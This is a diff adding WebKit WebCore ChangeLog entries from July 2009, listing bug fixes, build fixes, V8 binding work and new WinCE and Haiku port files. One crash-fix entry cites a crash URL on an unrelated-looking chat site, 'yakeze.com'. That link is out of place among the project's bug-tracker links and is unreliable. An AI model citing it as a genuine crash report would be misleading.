+        * WebCore.xcodeproj/project.pbxproj:
+        * bindings/js/DOMObjectWithSVGContext.h: Added.
+        (WebCore::DOMObjectWithSVGContext::context):
+        (WebCore::DOMObjectWithSVGContext::DOMObjectWithSVGContext):
+        * bindings/js/JSDOMBinding.h:
+        * bindings/js/JSEventCustom.cpp:
+        (WebCore::toJS):
+        * bindings/scripts/CodeGeneratorJS.pm:
+
+2009-07-21  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        REGRESSION (r46142):  editing/execCommand/19087.html & editing/execCommand/19653-1.html fail in Windows build
+        https://bugs.webkit.org/show_bug.cgi?id=27480
+
+        Because m_anchorType : 2 is treated as a signed integer by cl.exe, anchorType() wasn't returning the correct value.
+        We made m_anchorType unsigned so that anchorType() returns the correct value.
+
+        * dom/Position.h:
+        (WebCore::Position::anchorType): statically cast to AnchorType
+
+2009-07-21  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        [V8] Add V8 bindings for onerror in WorkerContext.
+        https://bugs.webkit.org/show_bug.cgi?id=27518
+
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8WorkerContextCustom.cpp:
+        (WebCore::ACCESSOR_GETTER):
+        (WebCore::ACCESSOR_SETTER):
+
+2009-07-21  Jian Li  <jianli@chromium.org>
+
+        Fix the incorrect patch being landed for bug 27516 that has already been reviewed.
+        https://bugs.webkit.org/show_bug.cgi?id=27516
+
+        * workers/WorkerContext.h:
+        (WebCore::WorkerContext::setOnerror):
+        (WebCore::WorkerContext::onerror):
+        * workers/WorkerContext.idl:
+
+2009-07-21  Jian Li  <jianli@chromium.org>
+
+        Reviewed by David Levin.
+
+        Add onerror to WorkerContext.
+        https://bugs.webkit.org/show_bug.cgi?id=27516
+
+        * bindings/js/JSWorkerContextCustom.cpp:
+        (WebCore::JSWorkerContext::mark):
+        * workers/WorkerContext.h:
+        (WebCore::WorkerContext::setOnerror):
+        (WebCore::WorkerContext::onerror):
+        * workers/WorkerContext.idl:
+
+2009-07-21  Yong Li  <yong.li@torchmobile.com>
+
+        Reviewed by George Staikos.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27509
+        Add font-related files for the WinCE port.
+
+        Written by Yong Li <yong.li@torchmobile.com>
+
+        * platform/graphics/wince/FontCacheWince.cpp: Added.
+        * platform/graphics/wince/FontCustomPlatformData.cpp: Added.
+        * platform/graphics/wince/FontCustomPlatformData.h: Added.
+        * platform/graphics/wince/FontPlatformData.cpp: Added.
+        * platform/graphics/wince/FontPlatformData.h: Added.
+        * platform/graphics/wince/FontWince.cpp: Added.
+        * platform/graphics/wince/GlyphPageTreeNodeWince.cpp: Added.
+        * platform/graphics/wince/SimpleFontDataWince.cpp: Added.
+
+2009-07-21  Kevin Ollivier  <kevino@theolliviers.com>
+
+        Fix the Windows build, and update the comment on top now that wx uses WebCorePrefix.h too.
+
+        * WebCorePrefix.h:
+
+2009-07-21  Kevin Ollivier  <kevino@theolliviers.com>
+
+        WebCorePrefix.h build fixes for non-Mac and wx / CURL builds.
+
+        * WebCorePrefix.h:
+
+2009-07-21  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Adam Barth.
+
+        All DOMConstructorObjects should hold a pointer to the JSDOMGlobalObject
+        https://bugs.webkit.org/show_bug.cgi?id=27478
+
+        This is just moving code.
+        I've added two new classes: DOMObjectWithGlobalPointer and DOMConstructorWithDocument.
+
+        DOMObjectWithGlobalPointer is a new baseclass for DOMConstructorObject.
+        (It's a baseclass because eventually all DOMObjects will have a global pointer, but
+        I'll be moving them onto DOMObjectWithGlobalPointer in stages.)
+
+        DOMConstructorWithDocument is a new baseclass for the 3 constructor objects
+        which require a backpointer to the Document to function.  I made this a subclass of
+        DOMConstructorObject to make clear that most constructors can hold no-such assumptions
+        about having a back-pointer to the Document (since many constructors can be used from Workers).
+
+        * bindings/js/JSAudioConstructor.cpp:
+        (WebCore::JSAudioConstructor::JSAudioConstructor):
+        * bindings/js/JSAudioConstructor.h:
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::DOMObjectWithGlobalPointer::globalObject):
+        (WebCore::DOMObjectWithGlobalPointer::scriptExecutionContext):
+        (WebCore::DOMObjectWithGlobalPointer::DOMObjectWithGlobalPointer):
+        (WebCore::DOMObjectWithGlobalPointer::mark):
+        (WebCore::DOMConstructorObject::DOMConstructorObject):
+        (WebCore::DOMConstructorWithDocument::document):
+        (WebCore::DOMConstructorWithDocument::DOMConstructorWithDocument):
+        * bindings/js/JSImageConstructor.cpp:
+        (WebCore::JSImageConstructor::JSImageConstructor):
+        * bindings/js/JSImageConstructor.h:
+        * bindings/js/JSMessageChannelConstructor.cpp:
+        (WebCore::JSMessageChannelConstructor::JSMessageChannelConstructor):
+        * bindings/js/JSMessageChannelConstructor.h:
+        * bindings/js/JSOptionConstructor.cpp:
+        (WebCore::JSOptionConstructor::JSOptionConstructor):
+        * bindings/js/JSOptionConstructor.h:
+        * bindings/js/JSWebKitCSSMatrixConstructor.cpp:
+        (WebCore::JSWebKitCSSMatrixConstructor::JSWebKitCSSMatrixConstructor):
+        * bindings/js/JSWebKitPointConstructor.cpp:
+        (WebCore::JSWebKitPointConstructor::JSWebKitPointConstructor):
+        * bindings/js/JSWorkerConstructor.cpp:
+        (WebCore::JSWorkerConstructor::JSWorkerConstructor):
+        * bindings/js/JSXMLHttpRequestConstructor.cpp:
+        (WebCore::JSXMLHttpRequestConstructor::JSXMLHttpRequestConstructor):
+        * bindings/js/JSXMLHttpRequestConstructor.h:
+        * bindings/js/JSXSLTProcessorConstructor.cpp:
+        (WebCore::JSXSLTProcessorConstructor::JSXSLTProcessorConstructor):
+
+2009-07-21  James Hawkins  <jhawkins@google.com>
+
+        Reviewed by David Hyatt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27453
+        Initialize isInt when creating a CSSParserValue for a function.
+
+        No change in behavior, so no tests.
+
+        * css/CSSFunctionValue.cpp:
+        (WebCore::CSSFunctionValue::parserValue):
+
+2009-07-20  Jens Alfke  <snej@google.com>
+ 
+         Reviewed by David Levin.
+ 
+         Bug 27448: [Chromium] On Mac, arrow keys should cause Select to pop up its menu.
+         Mac build of Chromium doesn't follow Mac HI guidelines to pop up the menu when
+         an arrow key is pressed.
+         https://bugs.webkit.org/show_bug.cgi?id=27448
+ 
+         No new tests; affects only control response to user input.
+ 
+         * dom/SelectElement.cpp:
+         Changed definition of ARROW_KEYS_POP_MENU to make it true in Mac Chromium,
+         so it will behave compatibly with Mac HI guidelines on pop-up menus.
+         It's not possible to have PLATFORM(MAC) be true in the Mac build of Chromium.
+ 
+2009-07-21  Paul Godavari  <paul@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        [Chromium] popup menus can crash when the selected index is -1
+        https://bugs.webkit.org/show_bug.cgi?id=27275
+
+        Crash reports from users indicate a crash can occur when PopupListBox::isSelectableItem
+        is passed an index of less than 0 (which is possible under certain circumstances). This
+        change prevents such a value from causing a crash by enforcing valid index values passed
+        by all callers of isSelectableItem. isSelectableItem is now a private method of
+        PopupListBox, as there are no external callers.
+
+        Also cleaned up a small amount of code for style and grammar errors.
+
+        No automatic test is provided since we cannot send events to the child window used by
+        the popup menu.
+
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupListBox::acceptIndex):
+        (WebCore::PopupListBox::selectIndex):
+        (WebCore::PopupListBox::isSelectableItem):
+        (WebCore::PopupListBox::selectPreviousRow):
+
+2009-07-21  Kevin Ollivier  <kevino@theolliviers.com>
+
+        wx build fix. Don't include winsock2.h on wx, it conflicts with wx's inclusion of winsock.
+
+        * platform/network/curl/ResourceHandleManager.h:
+
+2009-07-21  Adam Roben  <aroben@apple.com>
+
+        Roll out r46153, r46154, and r46155
+
+        These changes were causing build failures and assertion failures on
+        Windows.
+
+        * ForwardingHeaders/wtf/PossiblyNull.h: Removed.
+        * platform/graphics/cg/ImageBufferCG.cpp:
+
+2009-07-21  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Implement ErrorEvent API.
+        https://bugs.webkit.org/show_bug.cgi?id=27387
+
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.gypi:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSEventCustom.cpp:
+        (WebCore::toJS):
+        * dom/ErrorEvent.cpp: Added.
+        * dom/ErrorEvent.h: Added.
+        * dom/ErrorEvent.idl: Added.
+        * dom/Event.cpp:
+        (WebCore::Event::isErrorEvent):
+        * dom/Event.h:
+
+2009-07-21  Priit Laes  <plaes@plaes.org>
+
+        Reviewed by Gustavo Noronha.
+
+        [Gtk] Searching in thepiratebay.org doesn't work with more than 1 word
+        https://bugs.webkit.org/show_bug.cgi?id=24602
+
+        Remove workaround required for <=libsoup-2.26.1
+
+        * platform/network/soup/ResourceHandleSoup.cpp:
+        (WebCore::restartedCallback):
+
+2009-07-21  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by David Levin.
+
+        V8IsolatedWorld keeps a handle to a disposed context
+        https://bugs.webkit.org/show_bug.cgi?id=27397
+
+        Make a copy of the context handle before making it weak.  We don't want
+        to make the original handle weak because we want it to survive for the
+        length of the V8IsolatedWorld::evaluate method.
+
+        * bindings/v8/V8IsolatedWorld.cpp:
+        (WebCore::V8IsolatedWorld::V8IsolatedWorld):
+
+2009-07-21  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Web Inspector: Add ability to evaluate selection while on break point.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27502
+
+        * inspector/front-end/SourceFrame.js:
+        (WebInspector.SourceFrame.prototype._loaded):
+        (WebInspector.SourceFrame.prototype._documentKeyDown):
+
+2009-07-21  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        WebInspector: Special case ConsolePanel opening since
+        it is a 'fast view'.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27493
+
+        * inspector/InspectorController.cpp:
+        (WebCore::InspectorController::setWindowVisible):
+
+2009-07-20  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix Qt code to follow the WebKit Coding Style.
+
+        * platform/graphics/qt/FontQt.cpp:
+        (WebCore::qstring):
+        (WebCore::fixSpacing):
+        * platform/graphics/qt/FontQt43.cpp:
+        (WebCore::generateComponents):
+        (WebCore::Font::offsetForPositionForComplexText):
+        (WebCore::cursorToX):
+        * platform/graphics/qt/GradientQt.cpp:
+        (WebCore::Gradient::platformGradient):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::toQtFillRule):
+        (WebCore::GraphicsContextPlatformPrivate::GraphicsContextPlatformPrivate):
+        (WebCore::GraphicsContext::~GraphicsContext):
+        (WebCore::GraphicsContext::getCTM):
+        (WebCore::GraphicsContext::concatCTM):
+        (WebCore::GraphicsContext::getWindowsContext):
+        * platform/graphics/qt/IconQt.cpp:
+        (WebCore::Icon::paint):
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::ReadContext::read):
+        (WebCore::ImageDecoderQt::ReadContext::readImageLines):
+        (WebCore::ImageDecoderQt::setData):
+        * platform/graphics/qt/ImageQt.cpp:
+        (WebCore::Image::drawPattern):
+        (WebCore::BitmapImage::draw):
+        * platform/graphics/qt/ImageSourceQt.cpp:
+        (WebCore::ImageSource::frameDurationAtIndex):
+        (WebCore::ImageSource::frameHasAlphaAtIndex):
+        (WebCore::ImageSource::frameIsCompleteAtIndex):
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::create):
+        (WebCore::MediaPlayerPrivate::bytesLoaded):
+        (WebCore::MediaPlayerPrivate::updateStates):
+        * platform/graphics/qt/PathQt.cpp:
+        (WebCore::Path::addArcTo):
+        (WebCore::Path::isEmpty):
+        * platform/graphics/qt/TransformationMatrixQt.cpp:
+        (WebCore::TransformationMatrix::operator QTransform):
+        * platform/qt/ClipboardQt.cpp:
+        (WebCore::ClipboardQt::ClipboardQt):
+        (WebCore::ClipboardQt::clearData):
+        (WebCore::ClipboardQt::clearAllData):
+        (WebCore::ClipboardQt::getData):
+        (WebCore::ClipboardQt::setData):
+        (WebCore::ClipboardQt::setDragImage):
+        (WebCore::getCachedImage):
+        (WebCore::ClipboardQt::declareAndWriteDragImage):
+        (WebCore::ClipboardQt::writeURL):
+        (WebCore::ClipboardQt::writeRange):
+        (WebCore::ClipboardQt::hasData):
+        * platform/qt/ClipboardQt.h:
+        * platform/qt/ContextMenuItemQt.cpp:
+        (WebCore::ContextMenuItem::action):
+        (WebCore::ContextMenuItem::title):
+        * platform/qt/CursorQt.cpp:
+        (WebCore::westPanningCursor):
+        (WebCore::notAllowedCursor):
+        * platform/qt/DragDataQt.cpp:
+        (WebCore::DragData::containsFiles):
+        (WebCore::DragData::asFilenames):
+        (WebCore::DragData::asPlainText):
+        (WebCore::DragData::asFragment):
+        * platform/qt/DragImageQt.cpp:
+        (WebCore::createDragImageIconForCachedImage):
+        * platform/qt/FileSystemQt.cpp:
+        (WebCore::getFileSize):
+        (WebCore::unloadModule):
+        * platform/qt/Localizations.cpp:
+        (WebCore::contextMenuItemTagShowSpellingPanel):
+        * platform/qt/MIMETypeRegistryQt.cpp:
+        (WebCore::):
+        * platform/qt/PasteboardQt.cpp:
+        (WebCore::Pasteboard::Pasteboard):
+        (WebCore::Pasteboard::writeSelection):
+        (WebCore::Pasteboard::plainText):
+        * platform/qt/PlatformKeyboardEventQt.cpp:
+        (WebCore::PlatformKeyboardEvent::PlatformKeyboardEvent):
+        * platform/qt/PlatformMouseEventQt.cpp:
+        (WebCore::PlatformMouseEvent::PlatformMouseEvent):
+        * platform/qt/PopupMenuQt.cpp:
+        (WebCore::PopupMenu::populate):
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::fallbackStyle):
+        (WebCore::inflateButtonRect):
+        (WebCore::RenderThemeQt::computeSizeBasedOnStyle):
+        (WebCore::RenderThemeQt::paintButton):
+        (WebCore::RenderThemeQt::paintMenuList):
+        (WebCore::RenderThemeQt::applyTheme):
+        (WebCore::WorldMatrixTransformer::WorldMatrixTransformer):
+        (WebCore::RenderThemeQt::paintMediaBackground):
+        (WebCore::RenderThemeQt::paintMediaFullscreenButton):
+        * platform/qt/RenderThemeQt.h:
+        * platform/qt/ScreenQt.cpp:
+        (WebCore::screenRect):
+        (WebCore::usableScreenRect):
+        * platform/qt/ScrollbarQt.cpp:
+        (WebCore::Scrollbar::contextMenu):
+        * platform/qt/ScrollbarThemeQt.cpp:
+        (WebCore::scPart):
+        (WebCore::scrollbarPart):
+        * platform/qt/ScrollbarThemeQt.h:
+        * platform/qt/SharedBufferQt.cpp:
+        (WebCore::SharedBuffer::createWithContentsOfFile):
+        * platform/qt/TemporaryLinkStubs.cpp:
+        (PluginDatabase::defaultPluginDirectories):
+        (PluginDatabase::getPluginPathsInDirectories):
+        (PluginDatabase::isPreferredPluginDirectory):
+        (WebCore::getSupportedKeySizes):
+        (WebCore::signedPublicKeyAndChallengeString):
+        (WebCore::userIdleTime):
+        (WebCore::prefetchDNS):
+        * platform/text/qt/StringQt.cpp:
+        (WebCore::String::String):
+        * platform/text/qt/TextBoundaries.cpp:
+        * platform/text/qt/TextBreakIteratorQt.cpp:
+        (WebCore::TextBreakIterator::following):
+        (WebCore::TextBreakIterator::preceding):
+        (WebCore::WordBreakIteratorQt::first):
+        (WebCore::WordBreakIteratorQt::next):
+        (WebCore::WordBreakIteratorQt::previous):
+        (WebCore::CharBreakIteratorQt::first):
+        (WebCore::CharBreakIteratorQt::next):
+        (WebCore::CharBreakIteratorQt::previous):
+        (WebCore::characterBreakIterator):
+        * plugins/qt/PluginPackageQt.cpp:
+        (WebCore::PluginPackage::fetchInfo):
+        * plugins/qt/PluginViewQt.cpp:
+        (WebCore::PluginView::userAgentStatic):
+        (WebCore::PluginView::handlePostReadFile):
+        (WebCore::PluginView::init):
+
+2009-07-21  Maxime Simon  <simon.maxime@gmail.com>
+
+        Reviewed by David Levin.
+
+        Added a first bunch of Haiku-specific files for WebCore.
+        https://bugs.webkit.org/show_bug.cgi?id=26988
+
+        * platform/haiku/ClipboardHaiku.cpp: Added.
+        (WebCore::ClipboardHaiku::ClipboardHaiku):
+        (WebCore::ClipboardHaiku::clearData):
+        (WebCore::ClipboardHaiku::clearAllData):
+        (WebCore::ClipboardHaiku::getData):
+        (WebCore::ClipboardHaiku::setData):
+        (WebCore::ClipboardHaiku::types):
+        (WebCore::ClipboardHaiku::files):
+        (WebCore::ClipboardHaiku::dragLocation):
+        (WebCore::ClipboardHaiku::dragImage):
+        (WebCore::ClipboardHaiku::setDragImage):
+        (WebCore::ClipboardHaiku::dragImageElement):
+        (WebCore::ClipboardHaiku::setDragImageElement):
+        (WebCore::ClipboardHaiku::createDragImage):
+        (WebCore::ClipboardHaiku::declareAndWriteDragImage):
+        (WebCore::ClipboardHaiku::writeURL):
+        (WebCore::ClipboardHaiku::writeRange):
+        (WebCore::ClipboardHaiku::hasData):
+        * platform/haiku/ClipboardHaiku.h: Added.
+        (WebCore::ClipboardHaiku::create):
+        (WebCore::ClipboardHaiku::~ClipboardHaiku):
+        * platform/haiku/CookieJarHaiku.cpp: Added.
+        (WebCore::setCookies):
+        (WebCore::cookies):
+        (WebCore::cookiesEnabled):
+        * platform/haiku/CursorHaiku.cpp: Added.
+        (WebCore::Cursor::Cursor):
+        (WebCore::Cursor::~Cursor):
+        (WebCore::Cursor::operator=):
+        (WebCore::pointerCursor):
+        (WebCore::moveCursor):
+        (WebCore::crossCursor):
+        (WebCore::handCursor):
+        (WebCore::iBeamCursor):
+        (WebCore::waitCursor):
+        (WebCore::helpCursor):
+        (WebCore::eastResizeCursor):
+        (WebCore::northResizeCursor):
+        (WebCore::northEastResizeCursor):
+        (WebCore::northWestResizeCursor):
+        (WebCore::southResizeCursor):
+        (WebCore::southEastResizeCursor):
+        (WebCore::southWestResizeCursor):
+        (WebCore::westResizeCursor):
+        (WebCore::northSouthResizeCursor):
+        (WebCore::eastWestResizeCursor):
+        (WebCore::northEastSouthWestResizeCursor):
+        (WebCore::northWestSouthEastResizeCursor):
+        (WebCore::columnResizeCursor):
+        (WebCore::rowResizeCursor):
+        (WebCore::verticalTextCursor):
+        (WebCore::cellCursor):
+        (WebCore::contextMenuCursor):
+        (WebCore::noDropCursor):
+        (WebCore::copyCursor):
+        (WebCore::progressCursor):
+        (WebCore::aliasCursor):
+        (WebCore::noneCursor):
+        (WebCore::notAllowedCursor):
+        (WebCore::zoomInCursor):
+        (WebCore::zoomOutCursor):
+        (WebCore::grabCursor):
+        (WebCore::grabbingCursor):
+
+2009-07-21  Albert Astals Cid <aacid@kde.org>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Change #error line not to have a ' (single quote)
+
+        * DerivedSources.cpp:
+
+2009-07-21  Roland Steiner  <rolandsteiner@google.com>
+
+        Reviewed by David Levin.
+
+        Add ENABLE_RUBY to list of build options
+        https://bugs.webkit.org/show_bug.cgi?id=27324
+
+        Added flag ENABLE_RUBY:
+
+        * Configurations/FeatureDefines.xcconfig:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.vcproj/build-generated-files.sh:
+
+2009-07-21  James Hawkins  <jhawkins@google.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27467
+        Return an empty path in PlatformContextSkia::currentPathInLocalCoordinates
+        if matrix.invert() fails.  This prevents the use of an uninitialized
+        value in inverseMatrix.
+
+        No new tests added.  Run
+        LayoutTests/svg/dynamic-updates/SVGMarkerElement-dom-markerHeight-attr.html
+        under valgrind and notice there are no errors.
+
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::currentPathInLocalCoordinates):
+
+2009-07-21  Stephen White  <senorblanco@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27388
+
+        Fix dotted and dashed borders on Chromium/skia.  This follows
+        the logic in the Cg path, so results are much closer to Safari now 
+        (some tests won't be exactly the same due to font layout differences).
+
+        * platform/graphics/skia/GraphicsContextSkia.cpp:
+        (WebCore::GraphicsContext::drawLine):
+        * platform/graphics/skia/PlatformContextSkia.cpp:
+        (PlatformContextSkia::setupPaintForStroking):
+
+2009-07-20  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Gavin Barraclough.
+
+        Make it harder to misuse try* allocation routines
+        https://bugs.webkit.org/show_bug.cgi?id=27469
+
+        Add forwarding header for PossiblyNull type, and add missing null check
+        to ImageBuffer creation.
+
+        * ForwardingHeaders/wtf/PossiblyNull.h: Added.
+        * platform/graphics/cg/ImageBufferCG.cpp:
+        (WebCore::ImageBuffer::ImageBuffer):
+
+2009-07-20  Adam Langley  <agl@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Guard access to installedMediaEngines()[0].
+
+        https://bugs.webkit.org/show_bug.cgi?id=27479
+        http://code.google.com/p/chromium/issues/detail?id=16541
+
+        Else where in the file, installedMediaEngines is always checked for
+        being empty because access. This patch adds a case which missed that
+        check.
+
+        This triggered a crash in Chromium:
+            http://www.yakeze.com/chat/example-chromium-crash/
+
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::MediaPlayer::load):
+
+2009-07-20  Adam Langley  <agl@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Allow search entries to render with a CSS border if the RenderTheme
+        doesn't paint them.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27466
+        http://code.google.com/p/chromium/issues/detail?id=16958
+
+        <input type="search"> is very much like a text entry except that,
+        currently, if the RenderTheme doesn't deal with it, nothing is
+        rendered. With this patch, the default CSS border is rendered if the
+        RenderTheme requests it.
+
+        This will affect many layout tests, but only for Chromium Linux and
+        those results are not currently in the WebKit tree.
+
+        * rendering/RenderTheme.cpp:
+        (WebCore::RenderTheme::paintBorderOnly):
+
+2009-07-17  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Switch to faster methods to access internal fields.
+        https://bugs.webkit.org/show_bug.cgi?id=27372
+
+        Minor refactoring.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertToSVGPODTypeImpl):
+        (WebCore::V8DOMWrapper::setDOMWrapper):
+        * bindings/v8/V8DOMWrapper.h:
+        (WebCore::V8DOMWrapper::convertDOMWrapperToNative):
+        (WebCore::V8DOMWrapper::convertDOMWrapperToNode):
+        (WebCore::V8DOMWrapper::convertToNativeObject):
+        (WebCore::V8DOMWrapper::convertToNativeEvent):
+        * bindings/v8/custom/V8CanvasRenderingContext2DCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8ClipboardCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8DocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8ElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLCanvasElementCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLOptionsCollectionCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLSelectElementCustom.cpp:
+        (WebCore::removeElement):
+        * bindings/v8/custom/V8InspectorControllerCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8NodeCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8XSLTProcessorCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-07-20  Adam Langley  <agl@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Chromium Linux: cache Harfbuzz faces.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27473
+
+        Previously, we recreated the Harfbuzz face for each script-run. With
+        this patch, we keep the Harfbuzz face in the FontPlatformData (created
+        as needed) and so they will persist for the duration of the
+        FontPlatformData.
+
+        Shouldn't affect any layout tests. Results in a significant win on the
+        intl2 page cycler time.
+
+        * platform/graphics/chromium/FontLinux.cpp:
+        (WebCore::TextRunWalker::~TextRunWalker):
+        (WebCore::TextRunWalker::setupFontForScriptRun):
+        * platform/graphics/chromium/FontPlatformDataLinux.cpp:
+        (WebCore::FontPlatformData::RefCountedHarfbuzzFace::~RefCountedHarfbuzzFace):
+        (WebCore::FontPlatformData::FontPlatformData):
+        (WebCore::FontPlatformData::harfbuzzFace):
+        * platform/graphics/chromium/FontPlatformDataLinux.h:
+        (WebCore::FontPlatformData::RefCountedHarfbuzzFace::create):
+        (WebCore::FontPlatformData::RefCountedHarfbuzzFace::face):
+        (WebCore::FontPlatformData::RefCountedHarfbuzzFace::RefCountedHarfbuzzFace):
+        * platform/graphics/chromium/HarfbuzzSkia.h: Added.
+
+2009-07-20  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Simon Fraser.
+
+        REGRESSION (r46142): Need to remove showTreeThisForThis
+        https://bugs.webkit.org/show_bug.cgi?id=27475
+
+        Removes showTreeThisForThis
+
+        * editing/IndentOutdentCommand.cpp:
+        (WebCore::IndentOutdentCommand::appendParagraphIntoNode):
+
+2009-07-19  Ryosuke Niwa  <rniwa@webkit.org>
+
+        Reviewed by Eric Seidel.
+
+        Refactoring of indentRegion to fix bugs 26816 and 25317
+        https://bugs.webkit.org/show_bug.cgi?id=26816
+        https://bugs.webkit.org/show_bug.cgi?id=25317
+        https://bugs.webkit.org/show_bug.cgi?id=23995 (partially)
+
+        This patch implements appendParagraphIntoNode, a simpler specialized version of moveParagraph
+        and replaces all calls inside indentRegion. The following is the new behavior of indentRegion.
+
+        1. We try to indent as many wrapping nodes as possible.
+           e.g. when indenting "hello" in <div>hello</div>, we try to indent div as well.
+        2. We do not delete any wrapping elements
+           With moveParagraph, we used to remove all wrapping nodes, and replaced with a blockquote.
+           This was causing https://bugs.webkit.org/show_bug.cgi?id=23995 for indentation.
+           With appendParagraphIntoNode, we can preserve all wrapping nodes.
+        3. We only split the tree until the closest block node instead of until the root editable node.
+           This behavioral change fixes the bug 25317.
+        4. When multiple paragraphs are indented, we indent the highest common ancestor within the selection.
+           e.g. when a list is a child node of a div, and the entire div is intended,
+                we enclose the div by a single blockquote.
+
+        Note that new behavior is more consistent with that of Internet Explorer and Firefox.
+        To demonstrate this, the following tests are added.
+
+        Tests: editing/execCommand/indent-div-inside-list.html
+               editing/execCommand/indent-nested-blockquotes.html
+               editing/execCommand/indent-nested-div.html
+               editing/execCommand/indent-second-paragraph-in-blockquote.html
+
+        * editing/IndentOutdentCommand.cpp: prepareBlockquoteLevelForInsertion is removed
+        (WebCore::IndentOutdentCommand::tryIndentingAsListItem): uses appendParagraphIntoNode now
+        (WebCore::IndentOutdentCommand::indentIntoBlockquote): uses appendParagraphIntoNode now
+        (WebCore::IndentOutdentCommand::appendParagraphIntoNode): removes a paragraph and appends it to a new node
+        (WebCore::IndentOutdentCommand::removeUnnecessaryLineBreakAt): removes a break element at the specified position
+        (WebCore::IndentOutdentCommand::indentRegion): exhibits the described behavior
+        * editing/IndentOutdentCommand.h: updated prototype
+
+2009-07-20  Dan Bernstein  <mitz@apple.com>
+
+        Try to fix release builds after r46136
+
+        * dom/Element.cpp:
+
+2009-07-17  Pierre d'Herbemont  <pdherbemont@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        Media Controls: We are specifying the text height, where it is unneeded and the slider is 2px off.
+        https://bugs.webkit.org/show_bug.cgi?id=27380
+
+        Adjust the margin of the slider and remove useless height specification to fix alignement of the media controls.
+
+        * css/mediaControlsQT.css:
+
+2009-07-20  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Mark Rowe.
+
+        https://bugs.webkit.org/show_bug.cgi?id=27468
+        Back out r46060, which caused problems for some Apple developers.
+
+        * WebCore.vcproj/QTMovieWin.vcproj:
+        * WebCore.vcproj/WebCoreCommon.vsprops:
+        * WebCore.vcproj/WebCoreGenerated.vcproj:
+
+2009-07-20  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Anders Carlsson.
+
+        When loading a custom view into a frame, the old document is still
+        around
+        <rdar://problem/5145841>
+
+        Safari fires onload before PDF is loaded into the browser
+        <rdar://problem/6618869>
+
+        Test: fast/loader/non-html-load-event.html
+
+        * GNUmakefile.am: Added PlaceholderDocument.{cpp,h}
+        * WebCore.gypi: Ditto.
+        * WebCore.pro: Ditto.
+        * WebCore.vcproj/WebCore.vcproj: Ditto.
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * WebCoreSources.bkl: Ditto.
+        * dom/Document.h:
+        (WebCore::Document::setStyleSelector): Added this protected accessor for
+            PlaceholderDocument to use.
+        * dom/Element.cpp:
+        (WebCore::Element::clientWidth): Check whether the document has a
+            renderer.
+        (WebCore::Element::clientHeight): Ditto.
+        * loader/FrameLoader.cpp:
+        (WebCore::FrameLoader::begin): Create a PlaceholderDocument for frames
+            that do not use an HTML view. Do not nullify the content size in
+            that case.
+        (WebCore::FrameLoader::transitionToCommitted): For frames that do not
+            use an HTML view, call receivedFirstData(), which sets up the
+            frame with a new PlaceHolderDocument.
+        * loader/PlaceholderDocument.cpp: Added.
